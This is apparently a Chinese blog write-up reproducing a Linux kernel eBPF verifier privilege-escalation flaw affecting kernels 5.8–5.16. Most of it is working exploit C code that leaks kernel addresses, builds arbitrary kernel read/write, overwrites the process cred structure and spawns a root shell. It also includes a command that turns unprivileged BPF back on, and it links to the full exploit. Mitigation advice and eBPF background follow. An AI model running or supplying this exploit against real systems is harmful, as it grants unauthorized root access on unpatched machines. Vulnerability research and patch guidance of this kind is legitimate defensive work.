一、影响版本
linux内核 5.8 - 5.16
二、修复版本
此漏洞影响Linux Kernel 5.8 - 5.16,并在5.10.92 /5.13.0-32/ 5.15.15 / 5.16.1中修复。
三、复现
1、原理
------------------------------------------------------------------------------------------------
下面的代码中adjust_ptr_min_max_vals()是eBPF verifier用于检验指针加减运算的函数。其中的switch分支
用于过滤不支持加减运算的指针类型,比如各种OR_NULL类型。但是这个switch分支却少了很多类型的判断,比
如`PTR_TO_MEM_OR_NULL`, `PTR_TO_RDONLY_BUF_OR_NULL`, `PTR_TO_RDWR_BUF_OR_NULL`。
这意味着,我们可以对一些OR_NULL类型做加减运算!
* C *
------------------------------------------------------------------------------------------------
/* Handles arithmetic on a pointer and a scalar: computes new min/max and var_off.
* Caller should also handle BPF_MOV case separately.
* If we return -EACCES, caller may want to try again treating pointer as a
* scalar. So we only emit a diagnostic if !env->allow_ptr_leaks.
*/
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
...
switch (ptr_reg->type) {
case PTR_TO_MAP_VALUE_OR_NULL:
verbose(env, "R%d pointer arithmetic on %s prohibited, null-check it first\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
case CONST_PTR_TO_MAP:
/* smin_val represents the known value */
if (known && smin_val == 0 && opcode == BPF_ADD)
break;
fallthrough;
case PTR_TO_PACKET_END:
case PTR_TO_SOCKET:
case PTR_TO_SOCKET_OR_NULL:
case PTR_TO_SOCK_COMMON:
case PTR_TO_SOCK_COMMON_OR_NULL:
case PTR_TO_TCP_SOCK:
case PTR_TO_TCP_SOCK_OR_NULL:
case PTR_TO_XDP_SOCK:
verbose(env, "R%d pointer arithmetic on %s prohibited\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
default:
break;
}
...
return 0;
}
2、前置条件
- 本次实验选取了linux内核5.10.5-051005的版本来复现问题,其他版本是否有问题可以自行尝试
Linux ubuntu 5.10.5-051005-generic #202101061537 SMP Wed Jan 6 15:43:53 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux 内核版本下载
https://kernel.ubuntu.com/~kernel-ppa/mainline/
- 其他的某些版本可能需要执行以下命令
echo 0 >/proc/sys/kernel/unprivileged_bpf_disabled
3、利用代码
完整利用代码见https://github.com/tr3ee/CVE-...
关键代码及思路
- 在所有*_OR_NULL类型中,我们通过BPF_FUNC_ringbuf_reserve创建PTR_TO_MEM_OR_NULL类型。首先,我们将0 xffff…ffff传递给BPF_FUNC_ringbuf_reserve以获得一个空指针r0,然后将r0复制到r1。然后r1加1,然后对r0进行NULL检查。此时,bpf verify会相信这一点r0和r1都是0。
- 为了绕过ALU sanitation(为了应对由于验证程序中的错误导致的大量安全漏洞,引入了一种称为“ALU Sanitation”的功能。其思路是,通过对程序正在处理的实际值进行运行时检查,来弥补验证程序的静态范围检查),我们使用帮助功能 bpf_skb_load_bytes_* 去部分/全部的覆盖堆栈上的指针以获得指针地址泄漏和任意地址读写。
- 我们生成了许多子进程,并使用任意地址读取找到task_struct的地址,并在地址周围找到 cred
我们创建的数组映射。通过清空uid/gid/…,获得完整的root权限。
int do_leak(context_t *ctx)
{
int ret = -1;
struct bpf_insn insn[] = {
// r9 = r1
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// if (r0 == NULL) exit(1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0, 1),
BPF_EXIT_INSN(),
// r8 = r0
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
BPF_MOV64_IMM(BPF_REG_3, 0x00),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),
// verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and r1 = 1 on runtime.
// r7 = r1 + 8
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),
// verifier believe r7 = 8, but r7 = 9 actually.
// store the array pointer (0xFFFF..........10 + 0xE0)
BPF_MOV64_REG(BPF_REG_6, BPF_REG_8),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0xE0),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8),
// partial overwrite array pointer on stack
// r0 = bpf_skb_load_bytes_relative(r9, 0, r8, r7, 0)
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
BPF_MOV64_IMM(BPF_REG_5, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),
// r6 = 0xFFFF..........00 (off = 0xE0)
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 0xE0),
// map_update_elem(ctx->comm_fd, 0, r6, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_8),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_6),
BPF_MOV64_IMM(BPF_REG_4, 0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_update_elem),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};
int prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, sizeof(insn) / sizeof(insn[0]), "");
if (prog < 0) {
WARNF("Could not load program(do_leak):\n %s", bpf_log_buf);
goto abort;
}
int err = bpf_prog_skb_run(prog, ctx->bytes, 8);
if (err != 0) {
WARNF("Could not run program(do_leak): %d (%s)", err, strerror(err));
goto abort;
}
int key = 0;
err = bpf_lookup_elem(ctx->comm_fd, &key, ctx->bytes);
if (err != 0) {
WARNF("Could not lookup comm map: %d (%s)", err, strerror(err));
goto abort;
}
u64 array_map = (u64)ctx->ptrs[20] & (~0xFFL);
if ((array_map&0xFFFFF00000000000) != 0xFFFF800000000000) {
WARNF("Could not leak array map: got %p", (kaddr_t)array_map);
goto abort;
}
ctx->array_map = (kaddr_t)array_map;
DEBUGF("array_map @ %p", ctx->array_map);
ret = 0;
abort:
if (prog > 0) close(prog);
return ret;
}
int spawn_processes(context_t *ctx)
{
for (int i = 0; i < PROC_NUM; i++)
{
pid_t child = fork();
if (child == 0) {
if (prctl(PR_SET_NAME, __ID__, 0, 0, 0) != 0) {
WARNF("Could not set name");
}
uid_t old = getuid();
kill(getpid(), SIGSTOP);
uid_t uid = getuid();
if (uid == 0 && old != uid) {
OKF("Enjoy root!");
system("/bin/sh");
}
exit(uid);
}
if (child < 0) {
return child;
}
ctx->processes[i] = child;
}
return 0;
}
int find_cred(context_t *ctx)
{
for (int i = 0; i < PAGE_SIZE*PAGE_SIZE ; i++)
{
u64 val = 0;
kaddr_t addr = ctx->array_map + PAGE_SIZE + i*0x8;
if (arbitrary_read(ctx, addr, &val, BPF_DW) != 0) {
WARNF("Could not read kernel address %p", addr);
return -1;
}
// DEBUGF("addr %p = 0x%016x", addr, val);
if (memcmp(&val, __ID__, sizeof(val)) == 0) {
kaddr_t cred_from_task = addr - 0x10;
if (arbitrary_read(ctx, cred_from_task + 8, &val, BPF_DW) != 0) {
WARNF("Could not read kernel address %p + 8", cred_from_task);
return -1;
}
if (val == 0 && arbitrary_read(ctx, cred_from_task, &val, BPF_DW) != 0) {
WARNF("Could not read kernel address %p + 0", cred_from_task);
return -1;
}
if (val != 0) {
ctx->cred = (kaddr_t)val;
DEBUGF("task struct ~ %p", cred_from_task);
DEBUGF("cred @ %p", ctx->cred);
return 0;
}
}
}
return -1;
}
int overwrite_cred(context_t *ctx)
{
if (arbitrary_write(ctx, ctx->cred + OFFSET_uid_from_cred, 0, BPF_W) != 0) {
return -1;
}
if (arbitrary_write(ctx, ctx->cred + OFFSET_gid_from_cred, 0, BPF_W) != 0) {
return -1;
}
if (arbitrary_write(ctx, ctx->cred + OFFSET_euid_from_cred, 0, BPF_W) != 0) {
return -1;
}
if (arbitrary_write(ctx, ctx->cred + OFFSET_egid_from_cred, 0, BPF_W) != 0) {
return -1;
}
return 0;
}
int spawn_root_shell(context_t *ctx)
{
for (int i = 0; i < PROC_NUM; i++)
{
kill(ctx->processes[i], SIGCONT);
}
while(wait(NULL) > 0);
return 0;
}
int clean_up(context_t *ctx)
{
close(ctx->comm_fd);
close(ctx->arbitrary_read_prog);
close(ctx->arbitrary_write_prog);
kill(0, SIGCONT);
return 0;
}
phase_t phases[] = {
{ .name = "create bpf map(s)", .func = create_bpf_maps },
{ .name = "do some leak", .func = do_leak },
{ .name = "prepare arbitrary rw", .func = prepare_arbitrary_rw },
{ .name = "spawn processes", .func = spawn_processes },
{ .name = "find cred (slow)", .func = find_cred },
{ .name = "overwrite cred", .func = overwrite_cred },
{ .name = "spawn root shell", .func = spawn_root_shell },
{ .name = "clean up the mess", .func = clean_up , .ignore_error = 1 },
};
int main(int argc, char** argv)
{
context_t ctx = {};
int err = 0;
int max = sizeof(phases) / sizeof(phases[0]);
if (getuid() == 0) {
BADF("You are already root, exiting...");
return -1;
}
for (int i = 1; i <= max; i++)
{
phase_t *phase = &phases[i-1];
if (err != 0 && !phase->ignore_error) {
ACTF("phase(%d/%d) '%s' skipped", i, max, phase->name);
continue;
}
ACTF("phase(%d/%d) '%s' running", i, max, phase->name);
int error = phase->func(&ctx);
if (error != 0) {
BADF("phase(%d/%d) '%s' return with error %d", i, max, phase->name, error);
err = error;
} else {
OKF("phase(%d/%d) '%s' done", i, max, phase->name);
}
}
return err;
}
4、效果
四、防范
- 非root用户不赋予CAP_BPF及CAP_SYS_ADMIN
注:3.15 - 5.7 内核不赋予CAP_SYS_ADMIN即可 5.8及以后内核需要同时不存在CAP_BPF及CAP_SYS_ADMIN权限 非root用户禁止调用ebpf功能 /proc/sys/kernel/unprivileged_bpf_disabled 设置为1
- 值为0表示允许非特权用户调用bpf
- 值为1表示禁止非特权用户调用bpf且该值不可再修改,只能重启后修改
- 值为2表示禁止非特权用户调用bpf,可以再次修改为0或1
五、背景知识
Linux内核4的发布提供了一种新的方法,称为eBPF技术。eBPF下,内核包含了一个沙箱环境,可以让BPF字节码运行,这可以影响内核并使用内核资源——但实际上不会改变内核本身。
![上传中...]()
eBPF程序被加载到Linux环境中,并使用特定的触发器事件,称为hook。hook包括网络事件实例、内核跟踪点和内核函数。当遇到hook时,相应的eBPF代码被编译、验证和执行。
在加载到内核之前,eBPF 程序必须通过一组特定的检查。验证涉及在虚拟机中执行 eBPF 程序,这样做允许具有 10,000 多行代码的验证器执行一系列检查。验证器将遍历 eBPF 程序在内核中执行时可能采用的潜在路径,确保程序确实运行完成而没有任何循环。
最终,eBPF让程序员可以在 Linux 内核中安全地执行自定义字节码,而无需修改或添加内核源代码。eBPF 程序引入了自定义代码来与受保护的硬件资源交互,对内核的风险最小。
5.1 eBPF知识
eBPF 是一个基于寄存器的虚拟机,共有 11 个 64 位寄存器,一个程序计数器和 512 字节的固定大小的栈。9 个寄存器是通用读写的,1 个是只读栈指针,程序计数器是隐式的,也就是说,我们只能跳转到它的某个偏移量。eBPF使用自定义的 64 位 RISC 指令集,能够在 Linux 内核内运行即时本地编译的 “BPF 程序”,并能访问内核功能和内存的一个子集。这是一个完整的虚拟机实现,不要与基于内核的虚拟机(KVM)相混淆,后者是一个模块,目的是使 Linux 能够作为其他虚拟机的管理程序。eBPF 也是主线内核的一部分,所以它不像其他框架那样需要任何第三方模块(LTTng 或 SystemTap),而且几乎所有的 Linux 发行版都默认启用。
寄存器 | 功能 |
---|---|
r0 | 存储返回值,包括函数调用和当前程序退出代码 |
r1-r5 | 作为函数调用参数使用,在程序启动时,r1 包含 "上下文" 参数指针 |
r6-r9 | 这些在内核函数调用之间被保留下来 |
r10 | 每个 eBPF 程序 512 字节栈的只读指针 |
eBPF 支持在用户态将 C 语言编写的一小段“内核代码”注入到内核中运行,注入时要先用 llvm 编译得到使用 BPF 指令集的 ELF 文件,然后从 ELF 文件中解析出可以注入内核的部分,最后用 bpf_load_program() 方法完成注入。 用户态程序和注入到内核中的程序通过共用一个位于内核的 eBPF MAP 实现通信。为了防止注入的代码导致内核崩溃,eBPF 会对注入的代码进行严格检查,拒绝不合格的代码的注入。
5.2 编写一个eBPF程序的流程
- 编写eBPF程序,并编译成字节码,目前只能使用CLANG和LLVM编译成eBPF字节码
- 将eBPF程序加载到内核中,内核会校验字节码避免内核崩溃
- 将内核事件与eBPF程序进行关联
- 内核事件发生时,eBPF程序执行,发送信息给用户态程序
- 用户态程序读取相关信息
用工具可以简化这些流程
- BCC(python)
BCC 其实就提供了对 eBPF 的封装,前端提供 Python API,而后端的 eBPF 程序还是通过 C 来实现。在运行的时候,BCC 会把 eBPF 程序编译成字节码、加载到内核执行,最后再通过用户空间的前端获取执行状态。
BCC 的优点就是简单易用,但也有很多缺点: - 启动时编译,导致启动缓慢,且编译也需要耗费较高的 CPU 和内存资源。
- 编译 eBPF 要求所有主机上都安装内核头文件。
- 编译错误只有在运行的时候才能检测到,排错困难。
由于这些问题存在,BCC 正在基于 libbpf 将所有工具 转换 为可直接执行的二进制文件,无需外部依赖,从而更易分发到实际生产环境中。转换后的工具,因无需动态编译和接口转换,可以获得更高的性能和更少的资源占用。 - libbpf-bootstrap
libbpf 在使用上并不是很直观,所以 eBPF 维护者开发了一个脚手架项目 libbpf-bootstrap。它结合了 BPF 社区的最佳开发实践,为初学者提供了一个简单易用的上手框架。 内核源码
除了以上两种方法,最后一种门槛更高一些的方法是从内核源码中直接编译 BPF 程序。这种方法需要对内核编译有一定了解,且需要善于运用搜索引擎解决编译过程中的各种问题。 (见参考资料2)eBPF特性
参考文档
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。